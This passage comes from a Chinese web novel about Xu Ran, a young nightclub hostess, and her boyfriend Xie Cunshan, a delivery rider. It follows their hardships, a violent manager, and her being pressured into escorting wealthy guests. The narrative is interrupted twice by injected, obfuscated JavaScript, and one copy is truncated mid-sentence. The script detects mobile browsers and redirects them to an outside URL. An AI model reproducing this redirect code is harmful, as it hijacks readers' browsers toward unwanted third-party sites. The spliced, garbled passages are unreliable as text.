原来谢存山睡着时的神情是这样的,眉眼柔和,很静,令她觉得心安,她凑上去用脸贴了贴他的下颌,胡茬有粗砺的触感,好神奇。 谢存山睡得浅,醒了,低头在看她,黑而亮的眼睛,有些不解,但是跟她对视,又笑了。 其实他是本性温柔的人,才十八岁,还很孩子气。但大多数时候他得张牙舞爪地保护自己。她也一样。所以他们是同类。 同类就应该这样,在一个洞穴里取暖,永远都不要分开。 谢存山低下头摸索着触碰许冉的嘴唇。干燥的,清浅的一个吻。有坦诚的欢喜。 窗外是桐城一个天高云淡的秋。 - 许冉因生病休了一周,万小琴又跟着紫毛和丘胖子一行人去海南玩了。万小琴说这次那些官二代都不在,就几个丘胖子的心腹,因此玩得格外开心。 许冉微信问她,老请假马经理会不会不高兴。 万小琴说,我管他高不高兴,大不了老娘不干了。 几个月前万小琴还削尖了脑袋想进股东部呢。大概因最近紫毛受丘胖子器重赚钱快,她的想法又跟着变了。 万小琴说,开那个能赚几个钱,丘胖子说他想投钱开个ktv,要我去给他当经理。到时候你跟着我干。 许冉听了还有点失落,她有个专门的存折存着将来开美甲店的钱,已经攒了三千多了。但显然万小琴已然志不在此。 万小琴问她,对了,我认识个朋友说要带我投资做生意,你那一万多块钱能还我多少? 许冉说,我尽快。 万小琴回了个ok。 万小琴不在,谢存山正好方便上门来看他。许冉身体不好,哪儿也不想去,他就天天跑来给她做饭。 第一天给她把厨房收拾干净了下了口清汤鸡蛋面给她吃,盐放多了。第二天他又带了一个小砂锅来,他说他从外婆家偷的,小时候他不舒服,外婆就用这个砂锅给他煲汤。 他其实会的也不多,都是现学的,叮铃哐啷地在厨房企图大显身手。水没烧干就倒油,油花儿嘣得老高,谢存山也跟着上蹿下跳滋哇乱叫。 许冉随他去,开着收音机听音乐电台,边听边在屋里收拾夏天的衣服,又顺手把谢存山弄脏了的棉t恤两下给他揉了,空气里都是肥皂泡的清香。电台放新歌,一个温柔的女中音在唱:‘能够握紧的就别放了,能够拥抱的就别拉扯。’ 写的真好,真有才华。我一辈子也写不出这么好的句子。许冉想。又跟着小声哼。听到谢存山在外头咋咋呼呼喊:“吃饭了。” 谢存山真折腾出两菜一汤,番茄炒蛋,鸡汤,莴笋肉片。 像模像样的晚饭,像模像样的小小日子。 许冉到处找手机,说要留念,谢存山不好意思,说,别拍了,不好看,下次我做点厉害的你再拍。 下次。他们还有很多‘下次’。 许冉觉得好幸福,她开心的时候话多,边吃边看万小琴发的沙滩照,说我们什么时候也能去旅游。 谢存山问,你也想去海南吗。 许冉说,我想去北京,去看天安门升旗。 他说好啊。我带你去。 谢存山把鸡腿夹给她。他心里有点后悔那一兜子钱几乎全用来买了摩托车。 许冉当然不知道他在想什么,只是抿着嘴笑,说打过霜的番茄就是甜。 她把拖鞋脱了,双脚穿着舒适的棉厚袜踩在他的脚背,打着不知名的节拍。隔壁家做了红烧肉,香喷喷,挂在阳台的风铃叮当作响。楼下有狗吠两声,零零碎碎跑过一串孩子,把笑声抛给秋风。 手机一震,许冉低头看,是马经理发来的微信,他的头像一直是koko的照片,妖冶的黑发美人。 他发了一枝玫瑰来,又说,‘店里缺人,你身体好了吗,什么时候来上班。” 许冉不笑了,心像一块烧的热滚滚的铁,忽然沉进冰水里。谢存山低着头在啃鸡屁股,许冉观察他的头顶,两个旋,怕老婆。 这是许冉第一次不想回路西法上班,好像对赚钱都暂时失去了欲望。 - 再隔了两天,到了周六,万小琴总算从海南回来了,许冉早好全了,再没有不回去上班的理由。 期间房东来催了一次租,万小琴不在,许冉先交了,她本就欠她一些钱,不好意思催她。中途姑姑联系了她一次,问她要了五百块钱,说奶奶去复诊了,要换一种进口药。 钱真是不经花。许冉坐在化妆间一边往脸上涂粉底一边想。 闲散了一周,几乎与路西法的人断了联系,再回到这儿有种怪诞感。期间莎莎和小橙在微信上问候过她几句。仅此而已。 正想着,有人捏她胳膊,一双凉凉的手。是莎莎,她换了一顶粉色的假发,双马尾,穿着百褶裙,及膝的长款马丁靴,像日本漫画里的少女。 “病瘦了。”她说着,在另一侧的化妆镜前坐下来描眉。许冉这才注意到,那张桌子彻底空了。那本来是琳达的桌子。 “邵总在五楼给琳达单独开了个化妆室。东西都收上去了。”她涂抹指甲,说:“听邵总说前段时间认识了几个影视圈的朋友,想捧琳达当明星。” 许冉啧啧称奇。不过小一周不在,竟有这种新闻。 小娟也插嘴进来,说:“听说koko姐发火了,不敢对着邵总,就打了马经理一巴掌。”她说着眯起眼睛偷笑。 小娟也早早来了。刚刚一直坐在沙发上安安静静听歌。她在路西法的时间不短,但一直不太起眼,业绩也总在中下游。 马经理是个拜高踩低的,总爱揶揄她,拿她开玩笑,说她太土气了,气质不行。小娟性格不强势,马经理拿她开涮,她就讪讪地笑两下。 小娟一张素白圆盘子脸,细眉,弯眼,长得其实很有古韵。她极少参与路西法的纷争,更不像万小琴一样削尖了脑袋想进业务部。 偶尔她会带自己做的小甜品来,粉红色,粉蓝色,非常可爱,大家一扫而光,都夸她手艺好,她笑得很满足。 这几天桐城有寒潮,又是下雨又是冰雹的。天一冷客流量就小,许冉陪了两桌,都是来看热闹的外地观光客,喝了一轮就走了。 她跟李迈克在吧台聊天,聊着聊着舞池强光一闪,她才发现李迈克的半边脸肿了,嘴角还破了皮,涂了红药水。 “你被打了?” 李迈克笑笑,说:“好几天前的事情了。马经理要我送酒到三楼vip去,上楼梯的时候弄脏了客人的衣服。被邵总知道了。” “邵总打的你?邵骏辉?” 李迈克兔子似的,小心翼翼,“你小点声...哪能轮到他动手。” “马经理打的。说那人是邵总的好朋友。要给我点教训,客人才能消气。” 马杰对这些‘摇钱树’似的女孩子们还算客气,但却苛待底下的员工,这些许冉有所耳闻。但这是第一次见识。 她气得头疼,愤愤,“怎么能随便打人。” 李迈克很宽容地笑笑,提醒:“这儿是路西法。” “疼吗?”许冉看他笑,心里更不是滋味,说:“以后别去楼上了,咱们就在这下面待着,赚点小钱就行。” 她是个聪明的姑娘,有强烈的生存直觉。 路西法比她耳闻目睹的还要复杂,这是一定的。尤其起先目睹了徐闯被抓,又听说了其中的隐情,她更笃定在这儿工作得尽量把握好度——钱要赚,但自保也很重要,也不能贪心。她这样的小鱼小虾,是经不起这里头的暗潮汹涌的。 正聊着,dj换了音乐,灯光也由方才的暧昧慵懒蓝色转为不断闪烁的银色。 “新节目。”李迈克指指台上说。 许冉回头一看,马道上几个姑娘正在跳舞。有些是生面孔,大概是马经理新招来的人,或者是临时哪儿发来的‘菜’。 是类似于韩国女团的舞蹈,只是动作改编后更加具有挑逗性,尺度并不算大,但视觉效果很好,热辣性感极了。 从前她们上马道也只是稍微扭一扭,热热场,正儿八经有人跳舞这是第一次。 舞跳到后半段,其中一个姑娘开始和场下的男人互动,半蹲着拖着一个男人的手,从小腿摸到脚踝,那男人高兴得不知如何是好,满脸红光。 跳舞的人里头也有莎莎,难怪她今天打扮得和平时不一样。 “这是马经理的新点子,又找了一些微博营销号宣传,效果蛮好的。现在一场,等会一点多还有一场。每天风格服装还都不一样...” 女孩儿们下了场,混入人潮,男人们就像猫闻到腥味,一个个颠颠儿地凑上去。 这一晚上提成肯定很可观——许冉心里在算账。 十八岁的许冉,短视又健忘,已经把刚刚的什么‘自保’啊,不贪心啊,抛到了脑后。 晚上许冉去化妆间补口红,见到莎莎正在换衣卸妆。聊起来,才知道她一直在外头学舞。不为别的,就是喜欢。 “你这就走了?” “走了。回家睡觉去。” 虽然走得近,但许冉一直不太了解莎莎,觉得她来去随心,在这儿工作好像不是为了钱。 许冉目送莎莎离开,因为已经陪人喝了些酒,感到晕眩,耳边嗡嗡的,愣了半天才发现是手机在口袋里震。是姑姑给她打电话。 姑姑在电话那头哭。许冉心急如焚,以为奶奶出事了。 ——结果是堂哥捅了娄子。 她这个堂哥比她还要不争气,姑姑惯着,堂姐也宠这个弟弟,把他惯的无法无天。 前年他考了个桐城的三本,姑姑怕他在同学面前丢面子,每个月光生活费就给他两千。 许冉与这个堂哥平时没有往来。姑姑说堂哥前两天打了人,把人眼睛打坏了,在派出所拘留,对方要六万才肯和解,否则就要提告。 许冉到派出所找人,堂哥见了她,很不高兴,说:“你怎么来了。我妈叫你来的?” 事情很简单,他和朋友去台球店玩,为一个漂亮的陪球女郎和邻桌起了冲突,对方骂他是土鳖,他拿球杆做武器,差一点就把对方眼睛彻底戳瞎了。 堂哥账户里只有一千多,姑姑拿了三万,堂姐拿了两万,许冉拿了一万,对方家属这才签了谅解书。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢存山只觉得背上温温的,耳根子痒痒的,但压根听不清,扯着嗓子使劲儿喊:“你说什么?” 声音在他的胸腔里嗡嗡嗡,逗得许冉咯咯笑,自顾自又说:“本来马上就能还上小琴姐的钱了。这下又要攒一阵。” “要是再有钱一点就好了。你说是不是啊。” - 许冉病了这么一场,允许自己颓废了两周,到了十月中的时候她又忙的团团转了。她一天都没再请假,马经理格外对她满意,许诺了月底的三千块钱肯定还有她的份。 等王玉芬给她打电话,她才意识到上次见妈妈还是九月的事情。 王玉芬在电话里骂她白眼狼,还得等她主动打电话才找得到人。 电话的背景声里是麻将哗啦啦的声音。 她问王玉芬,是不是还在天天给牌友做饭。 王玉芬心情很好似的,说,最近都是你蒋叔叔做。 许冉纳罕,印象中很少见蒋东杰做饭,她小时候有一次王玉芬做胆囊手术,连粥都是她指挥许冉熬的。 王玉芬给许冉打电话是为着许明宗的祭日。这也是一年里唯一一天,王玉芬会主动提起他。 周六母女俩约在小区门口的米粉店碰头。老板娘还认得许冉,招呼说:“妹儿今天回来了。你妈妈高兴了。” 王玉芬嗔怪,“不在我身边讨嫌还好些。” 王玉芬给许冉碗里加了个蛋,给自己也加了个。她问许冉:“东西都买齐了?” “买好了。差香烛和纸钱。” “正好,去年的没烧完。” 母女俩面对面吃粉,竟有些尴尬,是什么时候开始和妈妈生疏的呢,许冉也不记得了。 她想问王玉芬借点钱。前两年她还在家住的时候,每个月给家里交800的伙食费,王玉芬说都给她存起来了。她想把这钱支出来,还给万小琴。 王玉芬说:“瘦了点。” 许冉嗯了一声,没提自己生病的事情。王玉芬低头喝汤的时候许冉偷偷打量她,她胖了一点,脸颊上的肉和脖间的金镶玉一起坠下去。项链是她和蒋东杰结婚时买的,她带了许多年。 给许明宗上坟的时候,王玉芬还是反复念叨那句话,“你爸爸,人是好,就是命不好。” 她给他坟头拔草,拔的很仔细,许冉在她身后跪着,被香灰糊了眼睛,看母亲的背影比她印象中臃肿许多,她说,“老许啊,你泉下有知要保佑我们母女。” 十年了,哪还有什么知呢。许冉私心希望许明宗早早投了胎,这一世别再短命了。 上完坟,回城也才不过下午四点,王玉芬叫许冉陪她去步行街逛街。桐城步行街五六年前也是寸土寸金的新潮地段,如今没落了,横七竖八塞满私人店铺,老板坐在店铺里吃饭打牌。 许冉陪她买了一双平底靴,又买了一件毛衣。毛衣老板说是开司米的,要268,王玉芬舍不得,摸了又摸。 许冉说,妈,我买给你。 后来又逛了好几家,王玉芬硬是要找弹力腰带的牛仔裤。许冉不明白,但还是耐着性子陪着她一家接着一家找。 终于找着了。 老板娘放下手里的烤栗子热情招呼她们。对面就是糖炒栗子的小摊,空气都甜得温馨动人。 许冉有点馋。 转头问王玉芬要不要吃糖炒栗子。 ——老板娘显然很有经验,伸手量了量王玉芬的腰,笑着说,你这个腰我都不用量就晓得,这有三个月了吧?肚子尖,男孩吧? 王玉芬在镜子里低头微笑。 16. 2014 许冉没跟王玉芬回家吃晚饭,扯了个谎,自己回了家。 万小琴和紫毛都在,万小琴正指挥紫毛在厨房里换灯泡。桌上还有吃了一半的炒米粉。 许冉大半月没见过紫毛了,他把标志性的紫色挑染换掉了,人看着正经不少。 万小琴在门背后的穿衣镜前照镜子,见许冉回来了,问她,“好看吗?” 她又换了个新的包,银光闪闪的链条。 这个牌子许冉不太认得,直愣愣盯了会儿,强打精神,说:“好看。紫毛哥给你买的?” “嘁,他哪里买得起。” 紫毛正研究灯泡里的灯丝,闻言也不生气,笑笑。 “丘胖子的朋友送的,是个大老板。香港人。” “你以为谁都有啊?那还不是我办事办得好。”紫毛呛。 “啥都不会,就会往自己脸上贴金。”万小琴嗔他一眼,转头对许冉说,“我跟你说,香港人还是不一样,很绅士的。对了,等会儿一块儿走啊,紫毛开车送我们。” 许冉听万小琴说过,紫毛现在不只开车当打手了,丘胖子偶尔也让他沾一沾生意上的事情。 她还告诉许冉,丘胖子也不只是跟着徐炀一个人混,徐炀那个圈子的人他都打交道,当官的,做生意的,旁门左道的,都有。 ——徐炀的父亲刚升官,他也变得炙手可热。想通过丘胖子认识他的人有钞票都不够,得排队。 许冉摇摇头,说,“不了。我今天有点不舒服,帮我请个假。” 万小琴见她脸色惨然,没多想,嘱咐她好好休息。 - 周六晚上八点,谢存山刚爬完十七楼,站在楼梯间的窗口呼哧呼哧喘气。 他上个月瞒着其他人办了健康证,开始送外卖。 以前是自己一个人过,小勇哥那儿的活儿够他糊口,他物欲低,一人吃饱全家不愁,稀里糊涂地日子也过得挺好。 现在不一样了,现在还有许冉,十八岁的女孩子,太瘦,垂着眼睛,像一朵风里纤弱的小百合花。他喜欢她,怜惜她活得辛苦,恨不得全世界的好东西都捧到她面前。 有时候开摩托车载她,她贴着他,贴得紧紧的,他想,就这样开到天上去多好。 天上没有这么多肮脏又无奈的事情。 他捉襟见肘,除了年轻有力气,别无所有。 前些日子他就已经开始四处打听第二份工的事情了。 路边小的旅行社广告社设计公司,他都问过了,一听他连高中学历都没有,看都不愿再看他第二眼,觉得他是小流氓来找事的。 他又去健身房游泳馆打听,人家问,你有证吗,教练证。谢存山一查,要考证还得先交钱培训。 他急着赚钱——先在唐小勇给他介绍的货运公司搬了几天货,白天累的头晕眼花,晚上还得来唐小勇这儿镇场子,实在吃不消。 后来麻子给他出主意,要不你去送外卖吧,我表舅最近盘了个站点,你就去他那个平台干。小电动你也甭买了,我让表舅给你匀一辆。 谢存山不愿意欠人情,还是花500买了辆二手电动车。电动车的前车主也是送外卖的,摔了一次车摔怕了。 谢存山一送就是小一个月。 刚开始谢存山以为送外卖时间灵活,挺好,但久了发现并非如此。 每天都有底线任务,接单没有自由度,超时了等于白干,差评多了系统有惩罚机制,派单时间压缩再压缩,这也罢了,谢存山最厌恶的是穿着这身衣服好像突然就低人一等了,进商场撒个尿都遭人捻。 譬如这栋商住楼,他来送过两次了,二十来层的楼,电梯三个坏了俩,系统给的时间远远不够排队,他没办法只能爬楼。 好不容易送到了,正歇脚,系统提醒他,顾客只给了三星评价。饮料洒了。 谢存山捏着拳头下楼。楼道里没信号,下了楼才听见叮叮叮几声,是外卖群里队长找他,说另一个外卖员那里‘发大水’,连环超时,有几单就在附近,问他能不能接。 在外卖队伍里当队长并不简单。既要管理和团结外卖员也要随时准备人工介入派单系统协调问题。 谢存山现在的队长姓牛,大家都叫他牛大哥,他是江西人,前几年跟着工程队来桐城修桥,修完了就留下来了。 牛大哥黑黢黢的,人如其名,高大壮硕,嗓门也大,讲义气,喝了酒后喜欢唱刘德华的忘情水。 谢存山看订单离他不算远,顾客地址他也熟,就接了。 平时他一般从早上八九点跑到晚上八点准时下线,歇两个小时,吃饭冲澡,再去唐小勇那儿上班,凌晨下了班再送许冉回家。 他年轻,吃饱就行,偶尔太累了把系统挂着,在肯德基都能找桌子趴着睡一觉,没觉得太难熬。 他有个简单的目标,想攒了钱租个好点的房子,最好有个干净的厨房,他和许冉可以一块儿做饭吃。 这一单越看越熟悉,等到了门口才发现,是母亲从前工作的单位,桐市中级人民法院。 这儿的街道名前些年改过了,办公楼也翻新了,更显气派. 门口有持枪武警站岗,进出管理得严格异常。 ——六年前这儿出过事,败诉的男人报复社会,杀害了年轻的法官,就在她的下班路上。 据说那天法官的孩子也在,母亲拼死拖住了凶手,才换来孩子的生机。 谢存山下意识摸了摸脖子上的疤痕,把口罩戴上。 传达室的老姚从前是看着他长大的,他怕被认出来——送外卖倒是不丢人,但辍学还是挺丢人的。 也不是丢他的人,是丢母亲的面子。 老姚看都没正眼看他,只问他:“送办公楼的还是宿舍区的?” 谢存山心不在焉地答,从一侧看法院高高的台阶。 台阶没被翻新——他还记得母亲穿法袍从台阶上走下来时的威严和美丽。 谢存山少有地心事重重,低着头急忙去人行道取车,斜着肩膀撞上一个男人。 听到身后老姚的声音,说:“涂老师,哎哟,好久不见,恭喜恭喜。听说您太太生了。喜得麟儿。” 谢存山在一声声的恭喜里跨上电动车飞快地逃离。 这儿的街道太恐怖了——开满夜来香的花坛深处,喑哑的路灯下,孩童颠簸的脚步声里,一双双温柔的谅解的眼睛,正看着他。 自母亲去世后,他长久地活在一种混沌中,混沌令他觉得安全,令他感到自由。 ——这是很长时间以来谢存山第一次觉得痛苦。 清晰的痛苦,像劈开黑暗的银剑,足以照见己身的不堪。 只是他仍然太年轻,还没有直面这种痛苦的勇气,只是骑着车穿行在风里,在二手头盔里流下少年的眼泪。 - 这天晚上谢存山被突如其来的低潮情绪弄昏了头,把电动车直接开到了电玩城。 平时是要放回站点的,队长要打勾,充电也方便。 他发信息给牛大哥。牛大哥说,多大事儿,你把车看好别被撬了就行。 来的路上莫名其妙地又下了些雨,他锁了车,摘了头盔,用已经湿透了的卫衣衣袖擦外卖箱上积的雨水。 擦完回头,正好看见许冉,正和唐小勇一道在门口站着。 谢存山下意识地把头盔往身后藏。唐小勇知道他在送外卖,不明就里,说:“打你电话也不接,人姑娘等你好久。 那么明显的电动车和外卖箱,许冉想不看到都难,她却挪开了眼睛,笑着问唐小勇,‘小勇哥,有汽水喝吗。’ 这阵子白天谢存山总说忙,原来是忙这些。 许冉不追问,也早就懂各人的生活都有各人的晦涩难言。 她在谢存山这里,图一点开心图一点真心。他们各自有各自的河流要淌,谁也没办法拯救谁。 唐小勇带着她去冰柜拿汽水,又问她今天怎么不上班。 许冉说,生病了。 谢存山这个女朋友他见得不多,偶尔一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15162962|164641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块儿出去玩,她也是安静的,和她在夜场里的时候很不一样。 唐小勇觉得她很神秘,问谢存山喜欢她什么。谢存山说全部。 唐小勇打了三十年光棍,不懂什么叫做全部。他只觉得十八岁的小孩恋爱就是图个新鲜,新鲜劲儿一过也就散了。 做夜场的女孩,最怕穷,而谢存山偏偏是个穷光蛋。 许冉靠在游戏厅门口的柱子后头喝汽水。 汽水喝到一半,见谢存山换了衣服出来找她。谢存山觉得不好意思。虽然他没觉得送外卖有什么不好,但他就是没选择告诉许冉。 谢存山眼睛不知道往哪儿放,问:“你怎么来了。” “我不舒服。” 谢存山听了紧张地抬手探她额头,不热,他问她“是胃又疼了吧..” “心里不舒服。想我爸了。” 她说,脸上是笑着的,半真半假的语气,把汽水吸得滋滋响。 谢存山知道今天是她父亲的忌日,她大概是心里难过。 跟她在一块儿这么久,他也逐渐了解她。 越是心里有事儿,脸上越毫无波澜,还能跟人笑嘻嘻的。。 她不想说的时候拿千斤顶也撬不开她的嘴。 那天晚上谢存山陪着许冉把电玩城里所有的游戏机玩了个遍。 拳击机被谢存山砸出了新的最高分,许冉在打枪游戏和娃娃机上花光了自己兜里所有的钱,投篮机他们连着玩了十来盘,创了最高记录。两人抱在一块儿转圈。 玩到唐小勇都看不下去了,来赶人回家。 出了一身大汗,许冉前额的头发都湿透了,临走站在店门口和两米高的太空娃娃自拍,笑得特别明媚。 谢存山跨坐在摩托车上等她,眼看着两个身材火辣前凸后翘的的女人来搭讪。许冉见了也扭着腰风情摇曳地下台阶,她今天穿着牛仔热裤,露出一双漂亮的腿,她先一步挽住谢存山胳膊,学万小琴的表情,娇滴滴地叫他宝贝。 谢存山把她腰一搂,哈哈大笑。 送她回家的路上谢存山还在笑。 许冉掐他腰上的肌肉不许他再笑,扒在他背上懒散地问,“谢存山,这个宇宙里有什么东西能证明我只属于你,你只属于我呢?” 谢存山把车头一掉,带她去了纹身店。 店主也是唐小勇的朋友,谢存山陪人来过好几次,熟门熟路。 道上混怎么能不纹身呢。店主之前问了他好几次,问他想纹什么。他一直没想好。 他觉得纹身是顶重要的事情,要跟自己一辈子的。 小亮爱看古惑仔,耳后纹了个‘忠’字。唐小勇右胸纹了一条龙,一直蜿蜒到右手手肘,煞有其事。只是他这几年日子过安逸了,肌肉都变成了肥肉,那条龙也变得眼歪嘴斜。他觉得特别傻。 但今晚为了回答许冉的问题,他忽然决定好了要纹一个‘冉’。左边锁骨以下,离心脏很近的位置。 也挺傻的。甚至比那条龙还傻。 但他就是乐意。 纹的时候,许冉凑在一边观察。谢存山故意逗她,问,你敢不敢。 许冉从镜子里观察自己的后腰,有两个凹陷。 万小琴告诉她那是腰窝,很性/感。她一边扭头看,漫不经心,说,这有什么不敢的。 她纹了一个‘山’字。 回去的路上他们都很沉默。许冉抱着他的背,阖上眼,城市霓虹在眼前的黑暗中明灭,她如同睡在一条丰沛的春天的暗河之下。 发的汗已经消了,她感到身体一点点凉下去,变得很轻。 纹身后那一点点似有若无的疼痛,让她觉得安心。睁开眼看桐城的光影连成一线,灿烂得令人恐惧,照见她内心的黑洞,正在溃烂。 这一刻许冉心里对谢存山充满难言的感激和依赖,她几乎无法将这种感觉和爱分辨开。 她还是搞不清楚什么是爱。 她是个肤浅的人,只谈肤浅的感情。她只能把他抱得好紧好紧。 17. 2014 桐城的秋天含混而短暂。寒潮一场接着一场,桐城眼见着就摧枯拉朽地凉了下去。 南边的城市没有暖气,屋里比屋外还冷。房东不肯装空调,紫毛给她们拉了个二手的来。 许冉饲养的壁虎在寒潮之后的某天夜里再也不动弹,万小琴说冻死了,许冉坚称它只是在冬眠。 十一月中的时候,谢存山的外婆早晨出去买菜,青苔石板地凝了过夜的霜气,她滑了一跤小腿骨折,被邻居送进了医院。谢存山是在送外卖的中途接到消息的,当晚他便从麻子家搬回登高巷,好看顾她。 外婆腿脚动弹不得,没法儿追着他跑,顶多念叨他几句,还是老生常谈,要他回去继续读书。 谢存山搬回去的那天邻居都探头瞧,说这谢家的小子还知道回家。 他对登高巷的感情复杂,这儿有他最温馨惬意的童年回忆,但随着母亲的陡然离世,最温馨的成了最可怖的。 他仍住在童年的阁楼房里,那里的一床一桌,老旧的坐式风扇,都是母亲少女时期用过的,自然地留给了他。 巷子里出租车进不来,外婆出院那天谢存山把她从巷口背回家,发现她变得好轻。 外婆是北方人,姓黄名艾玲,读过书,战乱的时候跟着父母逃来桐城。外婆一辈子精明泼辣强悍,服不得软,爱漂亮爱交际,头发焗得乌黑,她原先是烟草局生产线上的,退休后是街道腰鼓队的中坚力量。 外婆的衰老是从独女忽然出事后开始的。谢存山的母亲是登高巷最有出息的女儿,是黄艾玲心尖上的肉。 谢存山把她安在沙发上坐,又进进出出地烧水起炉子,像模像样地煮了碗鸡蛋肉丝面。 外婆说,“你这趟回了就别走了。你实在读不进书我也不逼你,你自己安生点找个事情做。再过几年我把你妈的房本给你,你安安心心找个好姑娘,成个家。” 谢存山没说话。 送外卖吹风,老屋子又潮,十一月底还未到,谢存山手上忽然生了冻疮,又痒又痛又肿,不堪其扰。许冉的手年年生冻疮,她经验十足,提醒谢存山涂药,抹护手霜,还特地买了点桑叶,嘱咐他泡水。 但谢存山天天在外面跑,总不见好。 后来许冉托紫毛从广州给他戴了副手套,头层牛皮,里头是厚厚的澳洲羊毛。谢存山喜欢得很,天天带,带着带着真的好了不少。 他现在还要照顾外婆,愈发忙,有时候送外卖结束得早一点,他就着急忙慌赶去路西法找许冉,两人见缝插针地在后门见一面,说说话。许冉喜欢吃甜的,他就给她带奶茶和蛋糕,他自己一口也不吃,看着她吃。 有时候张鑫也在,就在一旁抽烟调侃他们。 “你们以后办酒,我得坐主桌的。”张鑫总这样说。 他们两个人也不出去大吃大喝地约会了。 周末要是有时间他们就去莲花西路附近新开的金满地地下商业城遛弯儿,那里暖和,小吃便宜,从头走到尾人就饱了。那里还有很多新开的服装批发店,都是广州货。 许冉喜欢一家一家地看过去,详细地询问价格,观察质地,但是不买也不试,态度很坚决。 ——她要攒钱早日把钱还给万小琴。 谢存山也在攒钱,一则为了吃穿住行,二则他想明年有时间带许冉去旅游。 有时候接吻的时候谢存山会捧着她的脸问她,“你爱我吗,许冉。” 许冉还是无法正面回答这个问题。她觉得爱这个字好重,它意味着感情,也意味着责任,还代表着对未来的期待。 她会很诚实地回答,“我喜欢你,谢存山,我喜欢和你在一起。” - 十一月末是谢存山生日,两人说好了等许冉下了班,去麻子家吃蛋糕吹蜡烛。 等莎莎和一众美女们跳完舞,许冉就趁机也偷偷溜回了化妆间。 她把脸上的浓妆卸了,着急忙慌地套毛衣。蓝色毛衣胸前有个小熊,是一块补丁,王玉芬去年给她缝的。 她第一次提前开溜,很紧张。 莎莎笑她,你这人就是平常太听话了。又安慰她,据说五楼今晚有贵客,老马顾不上你的。 许冉感激地冲她笑笑,问她,小橙姐这两天怎么都没来。 莎莎说,好像是哮喘,进医院了,我表姨也有这病,一到冬天就犯得厉害。 许冉换好了衣服,给谢存山要打电话,结果麻子的电话先来了,说今晚这生日过不成了。谢存山外婆肠胃炎,这会儿谢存山正送她去医院。 许冉听了揪心,问了医院地址,就跟着莎莎想从后门溜走拦车去找他,多少帮帮手。 还没走到后门呢,李迈克忽然从后头匆匆跑来,说,姐,马总到处找你呢。 “找我干什么?” “他没说。只说是急事。要我务必找到你。”李迈克说。 “能有什么急事。别理他。”莎莎向来不服马杰的管,拖着许冉手腕就要走。 许冉说:“我还是跟他去吧。” 她怕李迈克再挨打。 李迈克带她在一楼舞池后头的阴影里穿梭,舞池内迷幻的紫色蝴蝶光影,一刻不停地变幻,笼罩着他们年轻的脸。 许冉忽然想起谢存山,想起坐在他的摩托后座,也像蝴蝶,在城市霓虹之间穿梭如同翩然起舞。和这里不同,空气是自由的,温暖的。 李迈克带她来到了一架直升电梯前头,许冉在这里也工作了很久,都不知道这儿还有一架电梯。 “这是直接到五楼的。”李迈克告诉她。 五楼,那是邵家兄弟的私人会所。 还没等她回神,电梯门就开了,马杰等在门口,见她这身打扮,还卸了妆,扬手就给了李迈克一巴掌,说:“你这是帮我还是害我。嫌我命长是不是?穿成这样你也敢领她上来。” 说完变脸似的,对许冉又挤出一抹笑,说:“小橙今天来不了,邵总招待贵客,有人说认得你,我就做主叫你来了。” 许冉想不出谁会认得自己,脸白得纸一样,刚刚那一巴掌像也打在她脸上,她本能地害怕。马杰说:“就是陪着出去吃顿饭,出台费少不了你的。” 许冉下意识摇头,说,“我家里有事。得走。” “耽误不了。”马杰凑近她,说:“吃一顿饭一万,你想想,你得卖多少杯酒才能赚得了这个数。” 许冉犹豫了。马杰捕捉到了她的软弱,满意地笑了,又扇了李迈克一巴掌,说:“还不带她去化妆室。” 许冉被马杰和李迈克半推着往走廊深处走。 天花板,地板,墙壁都是黑色的大理石,变幻的水波纹浮在黑暗深处,一点微弱的光源,找不到来处,只在黑镜似的空间里弥散开。像极了她梦里不时会出现的暗河。 她的灵魂又躲起来了,也许躲在昨夜梦境的深处,也许躲在那些光源闪烁的地方。她看到自己的模样,麻木地走在无边际的黑暗之中。 马杰目送他们,等他们走远了,这才折回来招呼角落的阴影里正在抽雪茄的男人。白色的雪茄灰落在黑色的大理石上,如同下雪。 徐炀把雪茄碾灭,说,“你这种人,就是俗气得很。” 马杰不明就里,只是陪笑,顾左右言他:“莉莉能被您记得,是她走运。” ——月前许冉丢失的钱包是徐炀捡到的。 钱包里大头贴上素颜的女孩表情生动,笑容明媚,见之忘俗。他天生对人过目不忘,记起徐闯出事那日在酒桌上见过这个女人,当时画着丑陋浓重的妆,不合身的庸俗的衣裙,他觉得滑稽,多看她几眼。 他那天心情好,把钱包扔给了马杰。 当然,若不是马杰今天提起‘莉莉’,他也早抛之脑后。 圈子里的人都知道徐炀早年在欧洲留学,吃穿用度上都很讲究,尤其对于女人,很‘挑食’,光美是不够的,一些女人的美是劣质的商业艺术复制品,一些女人的美是蒙尘的传世孤品。 他只对后者有兴趣。 当然。本质上,他对女人的兴趣与欣赏和高尚的情爱毫无关联,除开雄性未经规劝的征服欲,更多的只是出于好奇又恶劣的孩童心态—总想把美丽的燕尾蝶攥在手中把玩,再钉成永恒的只此一件的标本。 - 许冉低眉顺眼地跟着马杰站在门口等。她换了套黑色裹胸裙,也不知道是谁的,很短,很紧,让她上下都不自在。 厚重而高大的双开门,里头隐隐传出酒杯相撞的脆响,偶尔有女人的娇笑,男人的低语,听不真切,更显暧昧。 马杰交代,“里头都是你得罪不起的,你就少说,多笑,要你干嘛就干嘛,听话点,有你的好处。” 许冉没来得及答好,门便从里面被拉开。里头鱼贯出来大概七八个男男女女,歪歪扭扭,很放肆地笑着。 高跟鞋笃笃敲着大理石地面,空气里幽浮着酒气,香水味和还有一些微苦的陌生的气味。 她微微低着头,先分辨出koko的声音,轻的,像丝绒般慵懒甜美。抬起头,却发现有人在看她,是琳达。 